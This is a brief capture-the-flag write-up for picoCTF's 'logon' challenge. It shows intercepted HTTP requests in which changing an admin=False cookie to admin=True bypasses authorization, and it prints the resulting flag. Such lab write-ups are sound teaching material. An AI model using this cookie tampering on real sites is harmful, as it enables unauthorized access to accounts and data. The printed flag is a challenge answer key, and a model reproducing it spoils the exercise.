

logon writeup

The prompt for this problem is “can you log in as Joe,” opening the link opens a login page. After trying normal credentials (user, pass) capturing the request on Burp Suite the website accepts the credentials and redirects.

Request

Raw Params Headers Hex

Pretty Raw \n Actions

```
1 POST /problem/44573/login HTTP/1.1
2 Host: jupiter.challenges.picoctf.org
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 23
9 Referer: https://jupiter.challenges.picoctf.org/problem/44573/
10 Origin: https://jupiter.challenges.picoctf.org
11 Connection: close
12 Cookie: _ga=GA1.2.41053642.1612544646; _gid=GA1.2.1886979049.1614815387; password=
13   pass; username="user"; admin=False
14 Upgrade-Insecure-Requests: 1
15 user=user&password=pass
```

In cookies a variable admin is set to false, changing the variable to True and sending the request again following redirects leads to the flag.

Request

Raw Params Headers Hex

Pretty Raw \n Actions

```
1 GET /problem/44573/flag HTTP/1.1
2 Host: jupiter.challenges.picoctf.org
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: https://jupiter.challenges.picoctf.org/problem/44573/
8 Origin: https://jupiter.challenges.picoctf.org
9 Connection: close
10 Cookie: _ga=GA1.2.41053642.1612544646; _gid=GA1.2.1886979049.1614815387; password=
11   pass; username="user"; admin=True
12 Upgrade-Insecure-Requests: 1
13
```

Response

Raw Headers Hex

Pretty Raw Render \n Actions

```
33 <nav>
34   <ul class="nav nav-pills pull-right">
35     <li role="presentation" class="active">
36       <a href="/">Home</a>
37     </li>
38     <li role="presentation">
39       <a href="/logout" class="btn btn-link pull-right">Sign Out</a>
40     </li>
41   </ul>
42   <div class="text-muted">
43     Factory Login
44   </div>
45   <div class="jumbotron">
46     <p class="lead">
47       Flag
48     </p>
49     <code>
50       picoCTF{th3_c0nsp1r4cy_l1v3s_8c98aacc}
51     </code>
52   </div>
```